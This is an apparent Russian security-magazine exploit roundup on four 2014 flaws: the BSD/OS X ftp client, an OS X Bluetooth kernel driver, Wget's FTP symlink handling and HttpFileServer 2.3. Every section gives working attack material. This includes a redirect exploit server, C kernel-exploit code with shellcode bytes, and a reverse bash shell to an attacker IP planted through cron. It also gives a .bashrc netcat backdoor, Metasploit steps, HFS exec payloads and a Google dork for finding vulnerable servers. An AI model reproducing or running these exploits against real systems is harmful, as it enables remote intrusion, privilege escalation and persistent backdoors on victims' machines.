Этот год не перес­тает радовать нас новыми уяз­вимос­тями в популяр­ном ПО — теперь иссле­дова­тели наш­ли ошиб­ку в популяр­ной кон­соль­ной ути­лите для ска­чива­ния фай­лов с уда­лен­ного сер­вера Wget. Еще мы рас­смот­рим с тобой нес­коль­ко уяз­вимос­тей в OS X, а так­же к чему может при­вес­ти добав­ление в свое ПО нового фун­кци­она­ла, с помощью которо­го мож­но выпол­нять про­изволь­ный код.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни редак­ция, ни автор не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи.

 

Удаленное выполнение кода в FTP-клиенте в OS X / BSD

  • CVSSv2: 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)
  • Да­та релиза: 26 октября 2014 года
  • Ав­тор: Jared Mcneill
  • CVE: 2014-8517

Нач­нем с уяз­вимос­ти, которой под­верже­ны мно­гие BSD-сис­темы, вклю­чая пос­леднюю вер­сию OS X. Если мы выпол­ним сле­дующую коман­ду:

ftp http://server/path/file.txt

и не ука­жем имя выход­ного фай­ла через параметр -o, то FTP-кли­ент мож­но зас­тавить выпол­нить про­изволь­ную коман­ду.

Суть ошиб­ки в том, что FTP-кли­ент будет сле­довать получен­ным HTTP-редирек­там и исполь­зовать часть пути, иду­щего пос­ле пос­ледне­го сим­вола / из пос­ледне­го ресур­са как выход­ной файл (если не был ука­зан какой‑то дру­гой через параметр -o). Пос­ле того как будет получе­но имя выход­ного фай­ла, кли­ент про­веря­ет, начина­ется ли оно с сим­вола |, и, если это так, переда­ет его в popen(3). Ниже пред­став­лен неболь­шой тес­товый CGI-скрипт от авто­ра, который он про­верил в NetBSD 7.99.1 и OS X 10.10 и который исполня­ет зна­мени­тую коман­ду uname -a.

$ cat redirect
#!/bin/sh
echo 'Status: 302 Found'
echo 'Content-Type: text/html'
echo 'Connection: keep-alive'
echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'
echo
$ ftp http://localhost/cgi-bin/redirect
...
32 bytes retrieved in 00:00 (78.51 KiB/s)
NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36
ADT 2014
Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
BOARD evbarm
 

EXPLOIT

Мы же вос­поль­зуем­ся готовым экс­плой­том на Python. Он пред­став­ляет собой неболь­шой сер­вер, который воз­вра­щает спе­циаль­ный хедер при любом зап­росе к ата­кующе­му сер­веру и выпол­няет выб­ранную коман­ду в сис­теме поль­зовате­ля. Здесь мы так­же выпол­ним uname -a и echo про­изволь­ной стро­ки

cmd = "uname -a; echo You probably shouldnt execute random code from the Internet. Just saying."
cmd = urllib.quote(cmd)
redir = "http://" + hostname + ":" + str(port) + "/cgi-bin/|" + cmd

Да­лее прос­то отправ­ляем хедер с таким зна­чени­ем при зап­росе:

s.send_response(302)
s.send_header("Location", redir)
s.end_headers()

Пол­ный код экс­плой­та ты можешь ска­чать с одно­го из сай­тов. На скрин­шоте при­веден

Исполнение кода в уязвимом FTP-клиенте OS X 10.10
Ис­полне­ние кода в уяз­вимом FTP-кли­енте OS X 10.10
 

TARGETS

  • FreeBSD 10;
  • OS X 10.10 (Yosemite).

Так­же уяз­вимы некото­рые вер­сии DragonFly BSD и NetBSD.

 

SOLUTION

Есть исправ­ление от про­изво­дите­ля в некото­рых ОС. На момент написа­ния статьи код успешно выпол­нялся в Yosemite

 

Повышение привилегий в OS X через IOBluetoothHCIController

  • CVSSv2: N/A
  • Да­та релиза: 30 октября 2014 года
  • Ав­тор: joystick, rpaleari
  • CVE: N/A

С каж­дым днем экс­плу­ата­ция уяз­вимос­тей на уров­не поль­зовате­ля ста­новит­ся все слож­ней и слож­ней из‑за появ­ления раз­личных средств защиты, вклю­чающих в себя ASLR, NX или выпол­нение в песоч­нице. Поэто­му, что­бы обой­ти такие средс­тва, иссле­дова­тели выбира­ют более «лег­кий» путь и дви­гают­ся в сто­рону уров­ня ядра, где такие средс­тва отсутс­тву­ют или их обход более прост (KASLR и SMEP есть далеко не вез­де и толь­ко в пос­ледних вер­сиях опе­раци­онных сис­тем). В под­твержде­ние это­му мы можем пос­мотреть на количес­тво подоб­ных уяз­вимос­тей, которые были най­дены за пос­ледние месяцы в Windows, Linux и OS X.

В свя­зи с такой тен­денци­ей авто­ры уяз­вимос­ти решили пос­мотреть нес­коль­ко OS X драй­веров («kext») и наш­ли ошиб­ку с неп­равиль­ным зна­ком целочис­ленной перемен­ной в сер­висе IOBluetoothHCIController (из IOBluetoothFamily). Эта уяз­вимость поз­воля­ет ата­кующе­му локаль­но получить при­виле­гии адми­нис­тра­тора. Ей под­верже­ны пос­ледние вер­сии OS X Maveriks.

Сам баг находит­ся внут­ри фун­кции IOBluetoothHCIUserClient::SimpleDispatchWL(). Дан­ная фун­кция берет 32-бит­ную зна­ковую целочис­ленную перемен­ную и исполь­зует ее как индекс гло­баль­ного мас­сива в струк­туре, которая содер­жит ука­затель фун­кции. А далее выб­ранный ука­затель будет выз­ван. И как ты можешь заметить, фун­кция SimpleDispatchWL() недос­таточ­но пра­виль­но про­веря­ет этот индекс, что и при­водит к пла­чев­ному резуль­тату.

Ни­же пред­став­лен псев­докод некото­рых час­тей этой фун­кции:

typedef struct {
void (*function_pointer)();
uint64 num_arguments;
} BluetoothMethod;
BluetoothMethod _sRoutines[] = {
...
};
uint64 _sRoutineCount = sizeof(_sRoutines)/sizeof(BluetoothMethod);

Да­лее 32-бит­ное зна­ковое целое чис­ло пре­обра­зует­ся в 64-бит­ное. Затем эта перемен­ная про­веря­ется сле­дующим усло­вием: если получен­ное зна­ковое чис­ло боль­ше, чем количес­тво дос­тупных методов в гло­баль­ном мас­сиве _sRoutines, то вер­нуть ошиб­ку. В нашем же слу­чае любое отри­цатель­ное чис­ло в перемен­ной method_index прой­дет этот тест:

IOReturn IOBluetoothHCIUserClient::SimpleDispatchWL(IOBluetoothHCIDispatchParams *params) {
// Параметр user_param это 32-битное знаковое целое число
int64 method_index = (int64) user_param;
if (method_index >= _sRoutineCount) {
return kIOReturnUnsupported;
}

Те­перь зна­чение method_index исполь­зует­ся для получе­ния дос­тупа к перемен­ной из мас­сива _sRoutine. Вызыва­ем получен­ный метод через фун­кцию method.function_pointer:

BluetoothMethod method = _sRoutines[method_index];
...
if (method.num_arguments < 8) {
method.function_pointer(...);
}
...
}
 

EXPLOIT

До пол­ноцен­ного экс­плой­та нашему не хва­тает воз­можнос­ти обхо­да SMEP/SMAP и KASLR. Ког­да авто­ры уяз­вимос­ти демонс­три­рова­ли ее, они отклю­чали оба этих метода защиты.

Но так как мно­гие до сих пор исполь­зуют пре­дыду­щую вер­сию OS X, для удач­ной ата­ки дос­таточ­но под­счи­тать зна­чение поль­зователь­ско­го парамет­ра, которое поз­волит нам обра­тить­ся к индексу струк­туры BluetoothMethod, и получен­ный BluetoothMethod.function_ptr будет содер­жать пра­виль­ный адрес (там, где лежит наш шелл‑код). При этом BluetoothMethod.num_arguments дол­жно быть мень­ше вось­ми, что­бы прой­ти про­вер­ку.

В фраг­менте C-кода, пред­став­ленном выше, зна­чение 32-бит­ной перемен­ной user_param вна­чале пре­обра­зует­ся в 64-бит­ное, а затем исполь­зует­ся как индекс мас­сива. Каж­дый эле­мент гло­баль­ного мас­сива _sRoutines име­ет 16-бит­ный раз­мер (два 8-бит­ных зна­чения). Ниже пред­став­лен ассем­блер­ный код это­го дей­ствия.

; r12+70h указывает на пользовательское значение индекса
mov ecx, [r12+70h]
mov r13d, kIOReturnUnsupported
lea rdx, _sRoutineCount
cmp ecx, [rdx]
jge fail
; Переходим и получаем значение _sRoutine[method_index]
...
movsxd rax, ecx ; Знаковое преобразование в 64-битное значение
shl rax, 4 ; method_index *= sizeof(BluetoothMethod)
lea rdx, _sRoutines
mov esi, [rdx+rax+8] ; esi = _sRoutines[method_index].num_arguments
cmp esi, 7 ; Проверка method.num_arguments < 8
ja loc_289BA
...

На более высоком уров­не адрес струк­туры BluetoothMethod, получен­ный при обра­бот­ке зна­чения индекса user_param, вычис­ляет­ся по сле­дующей фор­муле:

struct_addr = (ext(user_param & 0xffffffff) * 16) + _sRoutine

где фун­кция ext() — это зна­ковая опе­рация (она пред­став­лена в виде инс­трук­ции movsxd из кода выше).

Ре­шив эту фор­мулу для user_param и поис­кав под­ходящее адресное прос­транс­тво внут­ри ядра, авто­ры уяз­вимос­ти обна­ружи­ли адре­са, удов­летво­ряющие нашим усло­виям (пра­виль­ный ука­затель дол­жен быть пред­став­лен целым чис­лом мень­ше вось­ми). Теперь нам нуж­но раз­метить область памяти, исполь­зуя фун­кцию mmap(), для шелл‑кода, соеди­нить­ся с сер­висом IOBluetoothHCIController и выз­вать уяз­вимый метод.

int main(void) {
/* Разметим память (ядро перейдет по tgt+7) */
vm_address_t tgt = 0x0000048800000000;
vm_allocate(mach_task_self(), &tgt, 0x1000, 0);
vm_protect(mach_task_self(), tgt, 0x1000, 0,
VM_PROT_READ|VM_PROT_WRITE|VM_PROT_EXECUTE);
memset((void *)tgt, 0, 0x1000);
/* Подготовка полезной нагрузки */
char *target = (char *)tgt;
/* mov rax, payload */
target[7] = 0x48;
target[8] = 0xb8;
*((uint64_t *)(&target[9])) = (uint64_t) payload;
/* jmp rax */
target[17] = 0xff;
target[18] = 0xe0;

Ищем уяз­вимый сер­вис:

io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));
if (!service) {
return -1;
}

При­соеди­няем­ся к уяз­вимому сер­вису:

io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

Пер­вые восемь байт дол­жны быть 0, потому что нам не нуж­но, что­бы были обра­бота­ны сле­дующие парамет­ры. Далее зна­чение индекса 0xfff5b6a8 в _sRoutines[index] дела­ет ука­затель на область в памяти ядра, которая содер­жит {0x0000048800000007, N}, где 0 <= N < 8. Для дру­гих вер­сий OS X может быть изме­нена:

char a[] = "\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\x00\x11\x0a\x00\x00\x03\x72\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xfa\x2a\x54\xff\x7f\x00\x00\x78\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xa8\xfb\x2a\x54\xff\x7f\x00\x00\xd8\xfa\x2a\x54\xff\x7f\x00\x00\x60\x4a\xb6\x86"
"\x80\xff\xff\xff"
"\xa8\xb6\xf5\xff\x80\xff\xff\xff";
...
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) a, /* inputStruct */
sizeof(a), /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
/* Выполняем здесь шелл после возвращение полезной нагрузки */
return IOServiceClose(port);
}

Пол­ный текст экс­плой­та ты можешь най­ти на сай­те одно­го из авто­ров.

Повышение привилегий в OS X
По­выше­ние при­виле­гий в OS X

Так как в Yosemite уяз­вимость перес­тала работать и авто­ры уяз­вимос­ти не наш­ли об этом упо­мина­ний в спис­ке изме­нений, то они решили срав­нить фай­лы из этих ОС с уяз­вимым сер­висом (нап­ример, MD5-хеши из уяз­вимых вер­сий OS X Mavericks 10.9.4 и 10.9.5 — 2a55b7dac51e3b546455113505b25e75 и b7411f9d80bfeab47f3eaff3c36e128f соот­ветс­твен­но).

На скрин­шоте пред­став­лено срав­нение драй­вера IOBluetoothFamily из 10.9.x и 10.10, где у нас в оран­жевом бло­ке срав­нива­ется получен­ное зна­чение индекса от поль­зовате­ля с _sRoutineCount. А в Yosemite, как мы видим, была добав­лена еще одна про­вер­ка на положи­тель­ность зна­ка (зеленый блок спра­ва).

Сравнение оригинального и исправленного файла IOBluetoothFamily в OS X
Срав­нение ори­гиналь­ного и исправ­ленно­го фай­ла IOBluetoothFamily в OS X

Ес­ли дорабо­тать этот экс­плойт и объ­еди­нить его с пре­дыду­щим, то мож­но получить неп­лохое средс­тво для пен­теста раз­личных кор­поратив­ных мак­буков. Вла­дель­цев которых все­го лишь надо «поп­росить» обра­тить­ся к сво­ему FTP-сер­веру :).

 

TARGETS

Про­тес­тирова­но на OS X 10.9.4 и 10.9.5. Но воз­можно, уяз­вимы и ран­ние вер­сии.

 

SOLUTION

Эту уяз­вимость Apple испра­вила по‑тихому в Yosemite.

 

Уязвимые симлинки в Wget

  • CVSSv2: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
  • Да­та релиза: 30 октября 2014 года
  • Ав­тор: hdm
  • CVE: 2014-4877

Wget поз­воля­ет ска­чивать фай­лы по про­токо­лам HTTP, HTTPS и FTP. Вот как раз с пос­ледним и воз­никла проб­лема.

Вер­сии Wget до 1.16 мож­но ата­ковать, если они запуще­ны в рекур­сивном режиме и пыта­ются обра­тить­ся к FTP-сер­веру. Уяз­вимость поз­воля­ет ата­кующе­му, который вла­деет таким сер­вером, соз­давать про­изволь­ные фай­лы, дирек­тории или сим­воль­ные ссыл­ки в сис­теме поль­зовате­ля. В ходе такой ата­ки мож­но перепи­сать содер­жимое фай­лов, вклю­чая бинар­ные, и получить дос­туп к фай­лам, которые дос­тупны поль­зовате­лю, запус­тивше­му ути­литу Wget. В ито­ге бла­года­ря этой ошиб­ке мы можем уда­лен­но выпол­нить про­изволь­ный код на уров­не сис­темы (нап­ример, cron) или на уров­не поль­зовате­ля — bash-про­фай­лы и SSH-клю­чи.

Са­му же уяз­вимость мож­но вос­про­извести сле­дующим обра­зом. Ког­да ути­лита Wget получа­ет спи­сок дирек­торий на сер­вере, то они вклю­чают в себя сим­линки, ведущие на дирек­торию с таким же име­нем. Нап­ример, ниже пред­став­лен подоб­ный вывод коман­ды LIST для FTP-сер­вера (в реаль­ном мире ты вряд ли его встре­тишь):

lrwxrwxrwx 1 root root 33 Oct 28 2014 TARGET -> /
drwxrwxr-x 15 root root 4096 Oct 28 2014 TARGET

Пос­ле это­го Wget соз­даст локаль­ный сим­линк с име­нем TARGET, который ука­зыва­ет на кор­невую фай­ловую сис­тему. Пос­ле того как она зай­дет в дирек­торию TARGET, содер­жимое этой пап­ки отра­зит­ся на дис­ке поль­зовате­ля.

 

EXPLOIT

Ав­тором уяз­вимос­ти был сра­зу пред­став­лен Metasploit-модуль, что очень облегча­ет нам экс­плу­ата­цию этой уяз­вимос­ти. На момент написа­ния статьи экс­плойт не был дос­тупен в основной базе фрей­мвор­ка, поэто­му приш­лось вруч­ную ско­пиро­вать код из GitHub- репози­тория в соз­данный файл по сле­дующе­му адре­су:

root@kali:~# nano /opt/metasploit/apps/pro/msf3/modules/auxiliary/server/wget_symlink_file_write.rb

По­мимо модуля, автор так­же опуб­ликовал при­мер экс­плу­ата­ции, который мы и раз­берем.

Пос­ле того как у нас появил­ся модуль с нуж­ной уяз­вимостью, сге­нери­руем полез­ный код, который будет откры­вать соеди­нение к машине ата­кующе­го:

root@kali:~# msfpayload cmd/unix/reverse_bash LHOST=192.168.41.180 LPORT=4444 R
0<&34-;exec 34<>/dev/tcp/192.168.41.180/4444;sh <&34 >&34 2>&34

Те­перь соз­дадим файл cronshell, исполь­зуя получен­ный код:

root@kali:~# cat>cronshell <<EOD
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -c '0<&34-;exec 34<>/dev/tcp/192.168.41.180/4444;sh <&34 >&34 2>&34'; rm -f /etc/cron.d/cronshell
EOD

Да­лее запус­тим модуль, который будет ждать пакетов от поль­зовате­ля:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash
msf exploit(handler) > set LHOST 192.168.41.180
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run -j

Ну и наконец‑то мож­но запус­тить сам модуль:

msf exploit(handler) > use auxiliary/server/wget_symlink_file_write
msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell
msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell
msf auxiliary(wget_symlink_file_write) > set SRVPORT 21
msf auxiliary(wget_symlink_file_write) > run

В перемен­ной TARGET_FILE мы ука­зыва­ем файл, на который будет вес­ти сим­воль­ная ссыл­ка и который будет переза­писан. А в TARGET_DATA мы ука­зыва­ем дан­ные, которые будут записа­ны в этот файл. В нашем слу­чае исполь­зует­ся заранее соз­данный файл, но мож­но ука­зать текст вруч­ную, при­мер это­го пред­став­лен ниже.

Мож­но обой­тись без cron и открыть уда­лен­ный дос­туп штат­ными средс­тва­ми, который будет пос­тоян­но откры­вать­ся при вво­де поль­зовате­лем коман­ды из‑под адми­нис­тра­тора (нап­ример, при вво­де коман­ды su):

set TARGET_FILE /root/.bashrc
set TARGET_DATA nc localhost 2222 -e /bin/bash &

Пос­ле это­го Metasploit выдаст ссыл­ку, при вво­де которой поль­зователь выпол­нит наш код:

Targets should run: $ wget -m ftp://192.168.41.180:21/
Процесс эксплуатация уязвимости в Wget
Про­цесс экс­плу­ата­ция уяз­вимос­ти в Wget

Один из иссле­дова­телей опуб­ликовал видео на YouTube по экс­плу­ата­ции этой уяз­вимос­тей.

Раз­личные ИБ‑спе­циалис­ты пред­лага­ют дать этой уяз­вимос­ти собс­твен­ное наз­вание схо­жее с ShellShosk: стро­ка смер­ти (string of death), WGETBLEED или wtfget.

 

TARGETS

Wget 1.12–1.15.

 

SOLUTION

Есть исправ­ление от про­изво­дите­ля, или мож­но зап­ретить исполь­зование сим­воличес­ких ссы­лок ути­литой Wget, испра­вив гло­баль­ный /etc/wgetrc или поль­зователь­ский файл с нас­трой­ками ~/.wgetrc:

retr-symlinks=on
 

Удаленное выполнение кода в HttpFileServer 2.3.x

  • CVSSv2: 7.5 (Av:R/Ac:L/A:N/C:P/I:P/A:P)
  • Да­та релиза: 11 сен­тября 2014 года
  • Ав­тор: Daniele Linguaglossa
  • CVE: 2014-6287

Рас­смот­рим теперь уяз­вимость в прог­рамме для соз­дания фай­лового сер­вера или быс­тро­го рас­шарива­ния фай­лов и обме­на фай­лами в локаль­ной сети в ОС под управле­нием Windows. Сама прог­рамма сущес­тву­ет при­мер­но с 2002 года и обновля­ется по сей день. При этом до сих пор оста­ется бес­плат­ной и пос­тавля­ется без рек­ламы в самой прог­рамме или уста­новоч­ном пакете.

Нес­коль­ко плю­сов исполь­зования этой прог­раммы:

  • сер­вер реали­зован в виде веб‑сер­вера;
  • от­кры­тый исходный код;
  • вир­туаль­ная фай­ловая сис­тема;
  • HTML-шаб­лоны;
  • под­дер­жка мак­росов.

Как раз пос­ледний фун­кци­онал, добав­ленный в начале это­го года, и сде­лал воз­можной успешную ата­ку. С помощью таких скрип­тов‑мак­росов мож­но сох­ранять фай­лы и исполнять коман­ды, о чем говорит­ся в до­кумен­тации к сер­веру. При­чем в качес­тве при­мера при­водит­ся запуск блок­нота:

{.exec|notepad.}

В фай­ле ParserLib.pas находит­ся фун­кция поис­ка мак­росов:

function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;

С помощью регуляр­ного выраже­ния эта фун­кция раз­лича­ет мак­рос, пос­ле чего оста­нав­лива­ется, и передан­ный скрипт выпол­няет­ся — это и поз­воля­ет про­вес­ти инъ­екцию сво­его про­изволь­ного кода. Передать же такой код мы можем, нап­ример, с помощью скрип­та поис­ка search, а обой­ти раз­личные филь­тры с помощью нулево­го сим­вола:

http://server.com/search=%00{.exec|cmd.}

Бла­года­ря тому что сер­вер пос­тавля­ется с исходным кодом, мож­но пос­мотреть, как была исправ­лена эта уяз­вимость. Для стро­чек, при­ходя­щих от поль­зовате­ля, была добав­лена сле­дующая фун­кция‑обра­бот­чик:

enforceNUL(txt);

Ее код мы при­вели на одном из скрин­шотов.

Сравнение исходников HttpFileServer для поиска исправления уязвимости
Срав­нение исходни­ков HttpFileServer для поис­ка исправ­ления уяз­вимос­ти

Как ты уже заметил, софт написан на ста­ром доб­ром Delphi. А сам раз­работ­чик пишет, что для ком­пиляции исполь­зует олд­скуль­ный Turbo Delphi.

 

EXPLOIT

Син­таксис ата­кующей коман­ды доволь­но прост, и мы можем без проб­лем запус­тить наш любимый каль­кулятор:

http://server.com/?search=%00{.exec|calc.

Не пугай­ся, что уви­дишь четыре запущен­ных каль­кулято­ра, это осо­бен­ность работы фун­кции по поис­ку мак­росов.

По­мимо опи­сан­ной ата­ки в лоб, сущес­тву­ет Metasploit-модуль, который сос­тоит из нес­коль­ких ата­кующих команд. Вна­чале мы сох­раня­ем наш VBS-скрипт:

save|#{vbs_path}|#{vbs_code}

А потом запус­каем его:

exec|wscript.exe //B //NOLOGO #{vbs_path}

Так­же в модуле реали­зова­но оди­нар­ное сра­баты­вание полез­ной наг­рузки, вмес­то четырех, как при исполь­зовании ата­ки нап­рямую.

Экс­плойт уже есть в стан­дар­тной базе, поэто­му для тес­тирова­ния дос­таточ­но обно­вить­ся и вос­поль­зовать­ся при­мер­но сле­дующим набором команд:

msf > use exploit/windows/http/rejetto_hfs_exec
msf exploit(rejetto_hfs_exec) > set LHOST 192.168.41.146
msf exploit(rejetto_hfs_exec) > set RHOST 192.168.41.147
msf exploit(rejetto_hfs_exec) > exploit
Запуск Metasploit-эксплойта для HttpFileServer
За­пуск Metasploit-экс­плой­та для HttpFileServer
Успешное срабатывание эксплойта для HttpFileServer в Windows XP SP3
Ус­пешное сра­баты­вание экс­плой­та для HttpFileServer в Windows XP SP3

Об­рати вни­мание на скрин­шоты, на них мож­но заметить нес­коль­ко минусов это­го модуля:

  • он про­сит уда­лить свой боевой VBS-скрипт, который сох­раня­ет в пап­ку %TEMP%;
  • в некото­рых слу­чаях он сам соз­дает пап­ку с име­нем %TEMP% в том же мес­те, отку­да был запущен сер­вер;
  • в логе сер­вера вид­на наша ата­ка.

В про­тес­тирован­ных сис­темах ука­заны Windows XP SP3, Windows 7 SP1, Windows 8 и Windows Server 2008.

Най­ти в интерне­те уяз­вимые сер­веры, которые исполь­зуют такое ПО, мож­но с помощью дор­ка для Google:

intext:"httpfileserver 2.3"

И уяз­вимые сер­веры, к сожале­нию, находят­ся. Кста­ти, сер­вер успешно работа­ет под Wine, о чем сооб­щают на сай­те, что теоре­тичес­ки поз­воля­ет обна­ружить в Сети *nix-сер­веры, исполь­зующие эту прог­рамму.

 

TARGETS

HttpFileServer 2.3–2.3c.

 

SOLUTION

Есть исправ­ление от про­изво­дите­ля.

Оставить мнение